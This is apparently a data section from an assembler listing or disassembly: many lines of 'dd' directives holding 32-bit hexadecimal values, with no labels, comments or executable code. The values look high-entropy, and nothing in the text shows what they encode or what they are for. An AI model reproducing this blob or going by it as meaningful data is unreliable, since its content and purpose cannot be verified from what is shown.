dd 7506EA00h, 89D97947h, 1CC7FF2h, 73A9D47Dh, 0E098D13Eh
dd 0DF072BAEh, 0F47B0417h, 0DA6A83C0h, 1E950CEFh, 0A820BFAFh
dd 1021D801h, 3792DB1Ah, 77507AECh, 59520053h, 34711FFFh
dd 30C0E5C5h, 7B3F9891h, 0BE323C0Ch, 6D5FD80Ch, 2A306E69h
dd 3BA129C2h, 0ECE4F50Eh, 91F70059h, 0D7A35DFBh, 63036E01h
dd 2F29260Ch, 9D02033Fh, 0BFA43E31h, 1A24380Fh, 90A70003h
dd 61946Eh, 7BFD062Dh, 7E60F3F2h, 0D300877Fh, 0AB8EDD96h
dd 1C1C36Ah, 0BD39BB56h, 0D42809E2h, 4226EABEh, 0B4007776h
dd 2FB01299h, 6A0D00CCh, 3EC2AB01h, 0C0062C37h, 0E0F13171h
dd 75427FB8h, 0BAC81CEFh, 0C0D8B70Ch, 0E975B19Ch, 0DC5D2900h
dd 97B61344h, 0EA01FE71h, 24A400EFh, 5A1F8BC0h, 430094FBh
dd 6D250D6Eh, 0CC3FA9h, 11308ED2h, 0C8DD9DF5h, 7E098B02h
dd 0E051EA83h, 15CAD47h, 158ECFFBh, 0D187EC03h, 0DF21818Ch
dd 7FB7ADA1h, 0D0E058C9h, 0EE7C50h, 5F8A8382h, 64CFC541h
dd 67C79E0Ch, 67010854h, 90302052h, 80EBFC41h, 0D533CC0Dh
dd 0E02B1853h, 0F060AA29h, 0E2620649h, 11FC6035h, 63616A46h
dd 6D76871Eh, 16F56500h, 0B0A9ABh, 0AF8EC7FCh, 17529C7Fh
dd 0CB7151C0h, 6ABC907h, 0D0EF0CD3h, 246008BBh, 7D49021h
dd 0B0B79876h, 455207BDh, 0FBB0D01Ch, 0CF87C48Eh, 50BA68h
dd 9F22E103h, 423DABDBh, 0AF288113h, 37A9AD6Ah, 0C863C4h
dd 0FCB45FB7h, 164E8F0Fh, 82982F50h, 3A703218h, 63015249h
dd 0E8EB19C8h, 81D3E138h, 5AD1BA58h, 7C40347Ch, 0E40A306Bh
dd 0E07101DEh, 0F79CFC4h, 0F74DCCDFh, 1849DD68h, 62104E83h
dd 2566F8B6h, 0B08008Fh, 96A7A22Bh, 4009028h, 0F9837C23h
dd 0C62CAF95h, 49E05B40h, 6EC52600h, 0B709A09Eh, 4F4E00CCh
dd 0E9D75D7Dh, 430162EEh, 77D08571h, 0B2D060C7h, 0B35200E3h
dd 0CA5FFF95h, 617C3ACDh, 0B140B801h, 621733E4h, 600800E3h
dd 4E42A2CAh, 675332B3h, 44143A88h, 0A24224C5h, 18ED7448h
dd 0AF6B001Eh, 3292353Bh, 30A9156Eh, 0EE7F102Ch, 31380194h
dd 0C8D83489h, 9E34483Dh, 0FB5EAD08h, 0B6C1709Fh, 9546AD1Ch
dd 0FF4054E4h, 503D08CEh, 0F232AC1Ch, 0FB3CA028h, 0C7A3882Dh
dd 0BC48AB72h, 1D22398h, 0CFBB4279h, 881F1854h, 4100612Ah
dd 219B2375h, 514E3B1Eh, 0F4C168FEh, 0F8DD8084h, 29670422h
dd 0B97DD85Eh, 0B50111B0h, 0CFE0ADFDh, 0E0DFA778h, 0C0C75A61h
dd 1242E349h, 0A0A095CAh, 9CCAC7Eh, 4321F7h, 0CC3C123Ah
dd 0BA05D8D4h, 0E2F8D503h, 4DAF9Fh, 0E449DF71h, 29616459h
dd 5B1A3A00h, 16186B12h, 26402EB0h, 46802013h, 427A02D1h
dd 315CCF9Eh, 622D1026h, 35400041h, 0BB9416ADh, 0B180C50h
dd 0A7927D9h, 4BCD00D4h
dd 61982AF1h, 9E07C3A9h, 1D6027Bh, 71883D70h, 0F85150E7h
dd 69048C44h, 17FB63ADh, 0BC246F62h, 40490880h, 0B1BF6F7Fh
dd 53FAB180h, 8503B5C5h, 7AB43D55h, 8595D2C3h, 342FEAFFh
dd 69008B23h, 305B8485h, 0F96800EFh, 0ACCA59C2h, 0CC75788Bh
dd 1D454D00h, 3820A9D0h, 4F8A2F4h, 0C9604AE4h, 9510E511h
dd 0FBC83473h, 120F40A6h, 0C7B18623h, 0DBD40068h, 0CAD5E362h
dd 606A35E4h, 467454E9h, 2E267304h, 6B2858h, 0C489D69Bh
dd 352100C3h, 0A739763Ch, 900B45Dh, 1C371EBBh, 99AF68C9h
dd 0CC10008h, 5DF2D4B3h, 60E96A48h, 23534D19h, 0CC9124D2h
dd 60A905A8h, 23802FCEh, 445B00E1h, 4696B0A1h, 0CAC15663h
dd 871980BEh, 0BFDC001Ch, 68E9C455h, 0F905E5D5h, 0DD9CD06Ah
dd 1900EC6Eh, 0A6AE1E52h, 6A5032ABh, 43DB168h, 0A4CD3A08h
dd 5764A4C5h, 44D40EEAh, 3A879A20h, 0CD0165E1h, 0D5CEDFB3h
dd 52DD6AE8h, 62EAB989h, 8C11381Dh, 0D7935D80h, 49C04ED9h
dd 0AAFDFF7Dh, 30890066h, 0F82CE243h, 0D207FCCAh, 0E478C89Dh
dd 0B064EA52h, 0EE11D3B8h, 35632195h, 128CF060h, 789DFA1Bh
dd 919091D9h, 0ADC58040h, 8CB7FB5Fh, 0C08A44h, 0E15AAD9Dh
dd 0DFEE28D1h, 6F040FEEh, 493BADAh, 4E674C8h, 4D15E56Eh
dd 4E948191h, 0E0C4E633h, 78140401h, 31C19B5Ch, 93A17023h
dd 0EC20C51h, 9C1D14E4h, 86852F83h, 321653F9h, 0FA341894h
dd 0C8D331h, 9F4C24C7h, 722ED1D8h, 3E054979h, 0B80FDE7Eh
dd 30B658C2h, 671107C9h, 3988E3ACh, 7D15683h, 0FF580193h
dd 50E31B7Ch, 8704244Bh, 61621200h, 0AD79D5B6h, 0E19E0008h
dd 0F115F50Ch, 73127C02h, 0B4308078h, 78DBD8Ch, 0D7E7E1CDh
dd 0BFC270C9h, 0E30C4184h, 29266733h, 5866E2B1h, 20806CAFh
dd 760FC846h, 17C6D707h, 0E976E318h, 29D46D0h, 0AC6607C8h
dd 131D31CBh, 0F207C957h, 19525D0h, 4DD3386Bh, 509308E7h
dd 69F164E8h, 0B3009A70h, 0A96BB22Fh, 0F8C6F8DFh, 0D32B71D2h
dd 0F9B00329h, 11187ACFh, 0D1192A5Bh, 38351E20h, 0DAC4C00Bh
dd 0E490ABB3h, 0B00A0F70h, 585BF37Fh, 6007CA81h, 1C18BBACh
dd 3CF9188h, 6EA8F807h, 400043B0h, 507B80B4h, 1478A479h
dd 84F50E01h, 0C701A023h, 0F3ABCD07h, 54881F18h, 0C00700AFh
dd 2402B964h, 780C2B8Bh, 50F3B584h, 9E30EBFDh, 58AF4951h
dd 21416887h, 329BACCFh, 203BCCC8h, 603D06ADh, 39F14695h
dd 66A9CA04h, 28C3C7CCh, 0F89AA341h, 37B434DDh, 0F8685582h
dd 694163C0h, 318446CFh, 4B3421FEh, 0B0CA8880h, 58E74001h
dd 92472A03h, 0F0CCC05Ch, 7FA0E4B1h, 0ED190AC7h, 5E90AE76h
dd 57001D46h, 1E157EC8h, 0B317EC02h, 760419FFh, 18880BC7h
dd 586B0052h, 0AF43709Bh, 91005D2Dh, 9C46C06Fh, 720350D9h
dd 0A84B1436h, 5C1280E2h, 71144115h, 0E43BA6CDh, 0BF09BDFAh
dd 17AECC1Fh, 831E9110h, 0CBB31F67h, 0DFCBD056h, 2AB13AABh
dd 8672929Ch, 31507832h, 8784B002h, 51D8298Eh, 188A7178h
dd 5A27573h, 0AC967B29h, 0AFC845FAh, 0C59C204Fh, 0FD3A4814h
dd 930813Ch, 0D1FA7FB2h, 3EE29848h, 449E67CEh, 5CD3C034h
dd 0C7AC976Eh, 6046F498h, 0CB125F02h, 1C4395h, 0A51238ECh
dd 352E3BBh, 3419DE67h, 3A482009h, 13518CEh, 13A2472Eh
dd 0D1E009DFh, 0EA4DD856h, 24066F7Fh, 84CDFB07h, 354F18A1h
dd 0A6A8D9F7h, 0A5C44807h, 7B30EFE3h, 43C6862h, 0EB4F40D7h
dd 0C45C8B36h, 3F305288h, 0A5019831h, 0E307022Bh, 0E0EEAA01h
dd 1B436B3h, 18A7AF50h, 0A4039592h, 5463A039h, 0C52490FCh
dd 70B10707h, 1072E510h, 0ACC3DC34h, 0B095220Ch, 0E3A291F4h
dd 302AF6F0h, 62E17B0Ch, 7D0F8FF1h, 20EE0FA1h, 4E52ADDCh
dd 0A9323D8Eh, 73D8D055h, 787069h, 2AF99EE0h, 0D106A242h
dd 86726F00h, 0C240B741h, 134D0077h, 0AC6802D6h, 0CD7DF748h
dd 9E6D30C0h, 3050B15Fh, 0EA917233h, 2400FA9Bh, 45F94AD0h
dd 3CDCFCC9h, 3C83D7AFh, 9BB8B572h, 2A188800h, 0AF67096h
dd 73291C7Fh, 49F25A95h, 33E4FC80h, 30E3E3A9h, 0FA0F9A04h
dd 3F4F9E22h, 7116D50Ch, 0CC2E3EC4h, 0BFDD0902h, 0E4C08442h
dd 95005649h, 49C190Ch, 9E96E73h, 2A9CEE3h, 60CAB107h
dd 0B442B63Dh, 1968CC61h, 3024F65Bh, 63E90039h, 3DDCA556h
dd 0BA039354h, 4762C96Eh, 0A7128018h, 18FC504Dh, 0B9FD60EBh
dd 8714EFBAh, 697A0907h, 0B0D0CD21h, 0CA6360A7h, 40F47BD0h
dd 45B974D0h, 32909906h, 2A192170h, 0F8E49409h, 6ACC2EE6h
dd 0AFB00C6h, 69C66EF5h, 0D4A0D103h, 0A0DEB1BEh, 779347D3h
dd 335C30B9h, 0A5089491h, 2F8F9B00h, 93D5E80Bh, 0BDC0012Ch
dd 48E2D874h, 3D5BC1B9h, 0DC3B0024h, 8AD3A934h, 3F790213h
dd 0CDE66B16h, 25FAE460h, 48F57000h, 2460694h, 7D6E7C53h
dd 882E0504h, 4FEDAE96h, 5946D580h, 0B9075932h, 6E34931Dh
dd 5DC88FE0h, 0C6760084h, 0E218CDEFh, 0B2010FAFh, 671A0601h
dd 0BC36BB2Dh, 0DAFA8600h, 8C8E3E5Dh, 0D6B9FE0Fh, 13B1C1ACh
dd 6C205F65h, 609E0CE2h, 1B81F934h, 3B3B147Eh, 0B7FC0701h
dd 87E3EAB3h, 0ADDDE8FFh, 7EEC01B0h, 5C7944A2h, 75A980F8h
dd 7B50AC99h, 7FB54CB2h, 3126E905h, 95708834h, 0FEB75B1Fh
dd 68012B12h, 0C2CDC605h, 2E18E2D0h, 4764B0EFh, 95FEB11Ah
dd 0BAAACCCEh, 885CA629h, 0C62D202h, 0D73A408Fh, 56DE0036h
dd 0A6505DE7h, 0CB605B65h, 0C7BAE329h, 208049Dh, 0C850C855h
dd 2D007114h, 0CB5DAC5Ah, 0F468198Dh, 9D281E1Eh, 4EC6456h
dd 0C0510ADDh, 76EB72BCh, 22E4B04Ch, 52FF0CF0h, 64693016h
dd 4DE85407h, 1531C79Ah, 6825EB04h, 0CE00AC3Dh, 4F206BCCh
dd 701F6AAFh, 29C0B626h, 2CFF6CF5h, 45CF1FF2h, 0B5E182C5h
dd 144067D1h, 0CC2AFA1Ah, 5A58E47Fh, 8BAF8088h, 2067BCBh
dd 0C6040C85h, 9CA04CD8h, 4FCD6D88h, 3B1D5673h, 7AC1D949h
dd 35E50CBDh, 0C5913DF3h, 0FE3C0D01h, 3B8B3950h, 0A06947C6h
dd 11E1DF08h, 1F135F3h, 33AC5CBAh, 0DC40F72Ch, 0CF7909AEh
dd 0BBE7BC31h, 0F0D3D069h, 0D7E04F87h, 48B80E51h, 0CE00A228h
dd 9E6C9C60h, 952DB90h, 0CAFCA319h, 7EBF0400h, 3318E9C9h
dd 9BC91478h, 605BF649h, 22D99068h, 9D309EA1h, 0CFDD803Bh
dd 67A30942h, 2400020Dh, 0C768B175h, 50E35E14h, 0AD6B1C5Ch
dd 0E9AE9580h, 32D9603h, 42891AC7h, 0C100770Ch, 0EF8F34B9h
dd 2CA7ECh, 65EE84A2h, 0D7AD01B3h, 0BFB18D02h, 60FAE4CBh
dd 363A0h, 38B0BA6Ah, 910C430Fh, 398D49C0h, 0A3661437h
dd 4007A8EAh, 16DF0729h, 50EA59DDh, 1FD9C731h, 0B1B70A01h
dd 20D84CFDh, 8C4F180h, 0FE1CF099h, 0D7283D00h, 0A4F19FCCh
dd 39717D27h, 7007F820h, 811DC506h, 32B1954Eh, 25522D98h
dd 0E901D52Ch, 8C5D1326h, 160211D8h, 1F5EADE8h, 0E3E1C258h
dd 6EE1FDC2h, 797C3030h, 52BE4902h, 72D89B2Dh, 4C467B5Ch
dd 0C701B897h, 0DA099CCh, 3A7C80D2h, 16FA67F9h, 426B09A9h
dd 4C20DC5Ah, 0D271FD92h, 47A8703h, 0ABA145FBh, 0C9B9B0C8h
dd 80889196h, 0C18475A9h, 9400DA36h, 95A69911h, 3B8DB9Bh
dd 61D8D092h, 0B9266C8h, 5C001C5Ah, 0BC8B45F7h, 0B04ABA1Ch
dd 618D00E4h, 0A7B7BFCBh, 0D304ECF6h, 0A9CA48CEh, 0B539E97h
dd 0C5413D78h, 34A38E80h, 0ED44AD67h, 0C2F9CD18h, 15292FEh
dd 0D6D52EEEh, 0F4A92C32h
dd 17038C1Fh, 67CA6AC6h, 0FB06C80Eh, 51716595h, 0E3F0B45Bh
dd 9A85B800h, 41BEFB79h, 0C9880066h, 2D98BFD8h, 0A22CE91Dh
dd 44281860h, 0B69168A8h, 36BFCC00h, 6732C6C8h, 945895h
dd 0E6B3CA80h, 0D000FF25h, 6A7E374Eh, 0EBFCEDBh, 49AC8F76h
dd 0C9DFA3C2h, 5EFD20C0h, 25C00F58h, 0D88823CFh, 220DD8EDh
dd 0D90126E5h, 0A0244110h, 0D1E2C87Bh, 0AB8A3000h, 89F180E8h
dd 0E49957h, 0D359BBECh, 290376ADh, 50344709h, 0E77E0168h
dd 0C65FB18h, 63845095h, 0F300DC14h, 136AF408h, 27774F6h
dd 0D6120B55h, 2C80581Bh, 0A8AC4739h, 0C2DBA200h, 0D0954538h
dd 5CE9E62Ah, 0FE87BC08h, 548D0CBh, 0A21C6D66h, 970E4E2Dh
dd 0D56802AEh, 0FF7CE117h, 160430h, 0FA714553h, 6801732Ah
dd 44E2DD2Eh, 2F5B1204h, 4193DD5Dh, 25EB3991h, 303DC4FDh
dd 16986C50h, 31CE88h, 49BF3C8h, 5B4BE9E8h, 0CD412E60h
dd 2E900C09h, 201222h, 0FA9C1AA5h, 8712A045h, 0C4217996h
dd 0F9104CAFh, 0AD003484h, 0B97DAAB2h, 1BBD965h, 0C3017AAEh
dd 0FE91F62Ah, 0F925D4E4h, 86AC2194h, 6310F435h, 0E71491BDh
dd 80900B75h, 0F94287C6h, 1D779044h, 5F4D04A0h, 0AF680957h
dd 52C30490h, 0C9FA55F6h, 9C22CA0Eh, 0E060EC49h, 0D178144Dh
dd 0E1299483h, 0D2FC16A4h, 20723444h, 0EBDA9300h, 92E1DCBAh
dd 0DB91000Bh, 0C084722Bh, 1B0B57A5h, 0E850E9D3h, 3EA6BC70h
dd 0E3801614h, 93B88C11h, 9D002AE2h, 12DC279Bh, 1AD4F5Fh
dd 7ED5B6C1h, 0BD96048Ah, 20B8D9h, 1AD865A7h, 0F41371Eh
dd 1C454E8Eh, 57802828h, 69EC0E4Fh, 2C707C87h, 248D042h
dd 0D6336A62h, 3611480h, 350C31E8h, 105F69CBh, 94F751Dh
dd 0B165D034h, 68B0F080h, 0D404CD4Eh, 0AFFA14C2h, 35EC8C8h
dd 0DEE961DFh, 0C7DA666h, 2726B709h, 136B807Bh, 48F10102h
dd 0B60EEC62h, 9D9DDF91h, 9F82E93h, 9064CEB3h, 7880AA0Fh
dd 0E1842019h, 1CEF42DEh, 7A767A5Ch, 4E654D84h, 8848A8F9h
dd 27026467h, 95E3A1C1h, 901044C6h, 105509E0h, 0C8100923h
dd 0B10028CCh, 0B950A5FBh, 0B5399EBh, 92E2DF4Dh, 3C6F6880h
dd 90914C20h, 80B14689h, 28FEDE19h, 0E4560253h, 7233C924h
dd 0C3002864h, 77A731ADh, 0BBE6C296h, 6582C80h, 6093E4E5h
dd 0C4296612h, 3C353400h, 18A12B31h, 28C57C5Bh, 30048DEBh
dd 0CA4A2AF9h, 3AE2B8C0h, 96B10A15h, 16CE794h, 0F93F33D8h
dd 0E4C76A8h, 21AE5C0Fh, 3567CF49h, 0CA013072h, 0D0DCC118h
dd 4D30E4B1h, 8B439C01h, 145A7288h, 0E4CFA987h, 0E7EDA3A2h
dd 6733CEB8h, 816D891h, 4D9E3420h, 302802B2h, 0FF78C22Fh
dd 2D9BB8C0h, 67604EEEh, 0D782BD88h, 0CEF918A0h, 23313985h
dd 783AD17Dh, 1DC2052Bh, 98C0A4ABh, 2D442D65h, 8AEB095h
dd 46792A6Ch, 7E3BF000h, 96CDBE88h, 0C37402CCh, 0C5E3A2B1h
dd 9DEA34FAh, 55347118h, 7CEEDD41h, 0D2840258h, 0EDE20FCh
dd 8BB988C0h, 0DB650102h, 0F235D10Bh, 84C900A0h, 37D86679h
dd 4809B4DDh, 691598h, 873F4F20h, 0AE904404h, 37F1DD00h
dd 0C65E92A0h, 0B5770031h, 41936528h, 44A85733h, 4C0154F0h
dd 694204EFh, 0C8F9F20Fh, 8926E470h, 0C093C252h, 0E378C8F4h
dd 0B77B6A02h, 0C07268D0h, 58B41AB0h, 474EDA12h, 0C7CED1B4h
dd 0CB02B0F5h, 0C30F62D0h, 2FFCA2C5h, 0F763E43Fh, 8D07F8E2h
dd 708BDC72h, 17048D0h, 0FBBDAA0Eh, 0E8AFA58Ch, 997250BCh
dd 9CC700F8h, 0D453D8ACh, 0D1195100h, 0E0934E6Fh, 79332DBCh
dd 0E4097025h, 5502BA60h, 61B7DDA2h, 5CF2D8h, 56B645B5h
dd 5241A42Fh, 6002CFCh, 0BBA3143Bh, 0B95AE0D5h, 11A00014h
dd 0A2650534h, 0D2708D03h, 0E9C96A3Eh, 6EED9BD6h, 164D024h
dd 17446356h, 3CA84375h, 0A28D80D4h, 0EB0E0Bh, 83A3149h
dd 4244CBFh, 8154F800h, 0E713C273h, 28615DA0h, 81E2D584h
dd 380A2F44h, 978BD0h, 0BB0FF8F6h, 0E6F473h, 0C740098Ch
dd 0AE6E201Eh, 3267E800h, 967C430Fh, 0BDAC94B2h, 14461181h
dd 405A2054h, 306E9E28h, 0B695B700h, 3C4BD099h, 0A5FA0590h
dd 82967E63h, 40545C1Ah, 0F093BB40h, 234F0035h, 22F8E211h
dd 76006C69h, 925F8C17h, 5C8633EAh, 0FA00749Fh, 4DCEF36Dh
dd 10267CCh, 7C42831Fh, 1E40805Ch, 527704h, 37C1D338h
dd 21C013C5h, 0C4B4FC0Eh, 0A5656E97h, 44A44B96h, 0E6080044h
dd 3889B8ADh, 0BF05F8C5h, 65F40F21h, 2A12880h, 3AC20EDDh
dd 0E080955Ch, 207E2A9Bh, 57DABF06h, 0FA186F2Eh, 44209708h
dd 0F6AFBCC6h, 8818EB01h, 861CDFDAh, 10E92DCh, 47CA4829h
dd 36FD4E97h, 35EB05A0h, 4D8FAF0h, 3B52209Dh, 9E04C9F0h
dd 4A5CF598h, 35D81480h, 5F660F1Fh, 90A9E9F9h, 0CEE1CC80h
dd 0FA74C859h, 0C81724ABh, 0BC905819h, 13DAB5B9h, 696A61Dh
dd 0D8E53ABCh, 8C24BD2Ch, 52D7AF01h, 3193A6F7h, 181C90EBh
dd 8500132Ah, 0D45DFC49h, 9732C7A1h, 0FBE57090h, 2A5FA41Dh
dd 8ED77800h, 7A20588Ch, 853C91EEh, 80B77EE8h, 0A168BB5Ah
dd 4C4C5B98h, 0AF0E001Fh, 0AA3A579Dh, 0A5640067h, 0A4A6E0C0h
dd 1D000248h, 452D52F7h, 4A23DBD1h, 0BCCC8856h, 2E903703h
dd 0F055F795h, 265DB63Bh, 3BD84B29h, 0C50B2479h, 0CB7B0F67h
dd 0AF952162h, 96F96C82h, 7EECE464h, 0BC402AFBh, 272DDC90h
dd 0F47A00E7h, 8C5FC420h, 0B65EFFh, 0C4A58289h, 198707C0h
dd 10794818h, 2E7DB699h, 0E1F45B02h, 0A0FD35E3h, 0AAACEF94h
dd 8FE21Bh, 4ECCD4FCh, 742E5E3h, 2BC2010Bh, 45C18FAh, 7E351737h
dd 640BFF34h, 90009050h, 5A2600A0h, 428636Ah, 0B539655Eh
dd 10DC9EC5h, 0FDB45200h, 0BBED139h, 841845Dh, 0FBA9EC00h
dd 0E8914794h, 0D257FA80h, 0A05B58A3h, 10BB33Ch, 0B48FBA96h
dd 73330E8Ah, 69D0014Ch, 0B17B659Dh, 0DCD65080h, 0DFF3C440h
dd 8501995h, 2A02C469h, 8FB3CDC6h, 4706C140h, 2D8B100h
dd 0CAB0AC2Eh, 0F8373AE8h, 0C13F48C8h, 0A253FF0Fh, 0D56F04A0h
dd 0D0787719h, 0A1035AE4h, 35E4B3D3h, 0EC100F8h, 0BD1181Eh
dd 0B61DD8C0h, 740C2A9h, 6A0499B3h, 9D1702A1h, 1552ABE2h
dd 7B43B4E6h, 401C8470h, 259260E5h, 19683030h, 13F30076h
dd 0B3C31BF5h, 0DE030B9Ah, 0CB014552h, 0FA39A04Dh, 0A7BCB4A9h
dd 2FBD4490h, 8AC49D05h, 0C43679Ch, 903C141Ch, 2BA6695h
dd 37A0752Ch, 1454EB7Eh, 0E0C84C93h, 0CE4D3AF0h, 67C0B580h
dd 22E5772Dh, 2CE9AB24h, 0C41A1760h, 0F2D803CCh, 8114BA5Ah
dd 578BF580h, 0D6851601h, 0D9E8F7FBh, 13887C40h, 9C7E01EEh
dd 2AFA0ED2h, 0D5C86085h, 0D6123405h, 32804503h, 0ECEEEDFh
dd 0DB1487ACh, 0E20784C1h, 0F957D097h, 0DE8CD1CBh, 0AA88007Bh
dd 0D819F866h, 1F703B00h, 7D22F3BFh, 263005Eh, 454E0D4Ah
dd 0D904D1C9h, 0D2FA48A9h, 0BC2804B5h, 25AF009Ch, 605498BEh
dd 0D97CB000h, 77F3F0BFh, 0C2DC0E3Eh, 0AF81630Dh, 320152E9h
dd 16950070h, 70222D53h, 3EF303FAh, 0E2444F5Bh, 32BFE880h
dd 0D0E9A912h, 8B13E000h, 910C6548h, 0C6270054h, 362EDF44h
dd 0B5D2BA00h, 22867277h, 0D0FA259Bh, 780A94CBh, 580352DDh
dd 0A847AC00h, 1DFC93h, 14E53CD1h, 707FA392h, 9F0CD609h
dd 0BA2040D0h, 403548CAh, 0F7084C21h, 0CF25BE31h, 3D084449h
dd 0B7F70060h, 7BD81277h, 0F8D312BDh, 16A0E232h, 0F089E2FDh
dd 1D9D65D4h
dd 79638E44h, 5D0E7080h, 0E3644D19h, 8BBFCE1Fh, 0B9AD80FEh
dd 0D3D4E084h, 0EFF51366h, 89349009h, 0AD02A9B0h, 0D7224C02h
dd 0C0DA5Bh, 7D4A74CBh, 8AC6A291h, 8B6E2D00h, 7B83C519h
dd 0E0230449h, 81CED4D8h, 0C4FA16DCh, 59C0A1CFh, 80244D03h
dd 0D6483F84h, 4AAFDB0Bh, 0C900D8C4h, 0E026AA3Dh, 7DC11A9h
dd 175F49A4h, 4E3E00B8h, 89C1C6F9h, 0E998E503h, 8925EC70h
dd 1C86908h, 5F41474Ch, 0B6D8AA1Fh, 5550021h, 77721456h
dd 23480B30h, 0AD710078h, 0D00ADCC2h, 7C093017h, 0B28E2741h
dd 883E1924h, 0DD966A02h, 3AACE037h, 0E55F01E8h, 0C8E90FADh
dd 4009F331h, 0E485D2D5h, 3B590EA4h, 20C03FCFh, 0F5A85627h
dd 0A024CB00h, 48E3026Bh, 57D32FDEh, 5A2F38A0h, 0B450900Ah
dd 440009B7h, 0F136D34Dh, 3C83AE17h, 6902C7C5h, 0F6223FD4h
dd 1A40305Eh, 5123ADh, 12639639h, 0EB463AD7h, 7B444900h
dd 58DAFF4Eh, 0CAD53881h, 2501CCD0h, 0C8203568h, 332E765Bh
dd 0E3A38F1Fh, 0CCF8D54Ah, 0C000DD13h, 10755635h, 0A9D402CAh
dd 76B50344h, 30E8E362h, 8CA0E19Dh, 6613CEB2h, 0B4E27B33h
dd 9500F821h, 3D6FCED7h, 0BA98B9DDh, 37B2B180h, 0C1D51EE0h
dd 5576F100h, 0E64A124Eh, 842D3C6Ah, 50A70BA5h, 0C5413E81h
dd 0C086DB06h, 7000C3A6h, 253C194h, 0C65770Fh, 0A874914Ah
dd 0CC1361B0h, 2490D3F9h, 13FF52Bh, 0B48E5E2h, 0DC9AE493h
dd 9458955Eh, 0F8C583ACh, 4029E296h, 28F322FAh, 1641452h
dd 0B8BF3FD6h, 70652ED3h, 3D898824h, 0A800878h, 0E048DFAAh
dd 12D96F00h, 0FF422A72h, 0F5CE0F58h, 65E09C05h, 38E92D4Eh
dd 0A095FEE8h, 32C5D1E8h, 0D4A2006Ah, 0FA6C3DBEh, 0C32653C2h
dd 0DF18EB47h, 7AD67D8h, 0AB90404Eh, 4AA29F38h, 0F0423E16h
dd 61C0588Eh, 6BC33270h, 19A031Dh, 44092D49h, 0BF1B00C0h
dd 0B24766F8h, 0FB001A91h, 1EA6797Ch, 79B460FAh, 20F0B52h
dd 94197133h, 27690803h, 9C200C37h, 13E6AC3Ch, 2E555613h
dd 0C0ADCC00h, 26D74A17h, 40640C0Eh, 379D9369h, 63D8E500h
dd 0ACD1B21Ch, 95FA0033h, 9BF94B05h, 6B3ED0C8h, 3FD39CC3h
dd 18005816h, 0D5057024h, 0C7A57BA8h, 6456C260h, 50848834h
dd 5A007CF2h, 0E98F8AC7h, 3A6AEF4h, 1D51960Eh, 55E2408Dh
dd 6FD3E940h, 7407F605h, 0FC2034A6h, 99E2AC2h, 57B0AB8Ch
dd 0C7001CDAh, 73AD4A95h, 1D8E886Eh, 9E3ACCD6h, 2C0405Ah
dd 328C5EC8h, 1AE0C48h, 7906BB72h, 342DAA96h, 67C2F901h
dd 6324D8ACh, 36C31F70h, 0B9EDB2C0h, 0BB4BB23h, 8006DA5Eh
dd 4695EB82h, 4E84F479h, 188291BCh, 6C08406Ah, 9BAC12CAh
dd 2A700268h, 0DCD23552h, 9049EF00h, 9780E476h, 0EBC42495h
dd 0DAF9008Eh, 0DE914836h, 0AFCD6012h, 1FE898B4h, 0F8CAB2h
dd 0ABC8C63Ah, 480052ACh, 7F2F1C9Fh, 0C1D049Ah, 4A39C1D4h
dd 0FBE04980h, 9998974Ch, 0A908EEB0h, 67324217h, 12EE8CCh
dd 1715D8BCh, 30F966ADh, 0FC604D9Eh, 52C28241h, 0D229030Dh
dd 5611B0C7h, 0FA2027C2h, 534D2Eh, 730D40B2h, 57317948h
dd 3904BA00h, 0CEF8A08Fh, 0CCB314CAh, 3A0098CDh, 2D9B3D42h
dd 0E8B8B951h, 0EC20684Ah, 155FB6Ch, 77BBE2FEh, 0E9D749A5h
dd 30A0256Bh, 0AD0ADD5Ch, 85487BE5h, 97034500h, 6ED8577Fh
dd 35666056h, 0DD3AD894h, 232700B9h, 0FE049C22h, 0F0A2742Ch
dd 31D70ADFh, 64AFA7h, 74C5058Eh, 2D3CFB67h, 45ED8037h
dd 4F1497BEh, 2F5E0419h, 0A24DCA9Dh, 0C2AC0048h, 3E1BFB9Fh
dd 124FCB4h, 4BEBBDC7h, 295C7841h, 0BB700068h, 0ABFDDEBCh
dd 1903013Eh, 1E3278Dh, 0C829D9h, 6329F43Ah, 1E3C3189h
dd 640CC5D3h, 0E950003Fh, 0A99F67A6h, 90E5D52Dh, 0F28310h
dd 4C7894FAh, 133BA6B8h, 0AD019B01h, 0CEB72B50h, 98EC5830h
dd 74B1983Ch, 75070951h, 0B8E87233h, 78F03ECFh, 6F44AC9Eh
dd 20FA1347h, 16EF5BA6h, 37644100h, 873BFB48h, 9DD4035Ch
dd 29D66284h, 0AC42F6A8h, 0A489BB4Eh, 395FD0ECh, 0EB05CA6Fh
dd 0CD86667Fh, 0F546EC84h, 130E61EEh, 5D5B203h, 5C88AC92h
dd 4D8726Bh, 96B1FFAFh, 0F988B479h, 0BC5D2BEFh, 3D05389h
dd 0C2F3B35Ch, 50C645Bh, 0C0132901h, 0D5FD00DAh, 0BC3D941Ch
dd 271E2F07h, 0A337E103h, 4400A079h, 752C1AEh, 63C71A2Dh
dd 78A7A095h, 0A10F33E4h, 834CF8DEh, 0C9B82A9Ah, 0EC2042AAh
dd 404C9CBBh, 290A971Ch, 1A189C72h, 2C3068D6h, 0BFB102DBh
dd 2264D524h, 5348C4C0h, 0AC88FD5Bh, 0C0A84CFAh, 40F08992h
dd 0D294B959h, 0B5A0FA05h, 0A0CCE424h, 1349B03Dh, 0EB7721h
dd 0E4DAC8B9h, 0D404D644h, 654FFA0Ch, 5569D0C0h, 0D062F329h
dd 0B8F7AB01h, 0DC020441h, 0DA38EBDFh, 0A2340288h, 0C0A910CBh
dd 9666F770h, 0E09940E0h, 2B7387E1h, 1E09F300h, 0E5FA57D1h
dd 0A3BF0AA4h, 80F83C52h, 0CE124770h, 952C9C36h, 0EBD34ADh
dd 67CDE9C5h, 25E0FEFFh, 58AF01B2h, 9616E0B7h, 1B8E2D0h
dd 1EF10692h, 8033F781h, 1C106007h, 70DAD754h, 704D2041h
dd 1D4EB200h, 347A472Ah, 0B49095E3h, 5B01FC7Eh, 54996502h
dd 0E4DE5F47h, 0AF7101E4h, 27E2A346h, 0FEE5C091h, 57894502h
dd 40C930CDh, 74521A94h, 0BE0107A1h, 0FB7CB46Bh, 8E00A444h
dd 84320A60h, 0EB703Eh, 207E2FDDh, 72E25AA4h, 0C8656B09h
dd 0FD14829Fh, 0A93221C6h, 99478E8h, 0ACCA402h, 0B82834E4h
dd 38D19344h, 5600DEFBh, 0BA410EBBh, 0A8010BF6h, 0D049FED8h
dd 30DDCEE6h, 48B7DBF8h, 9E0809h, 3AE7F050h, 0AF00B677h
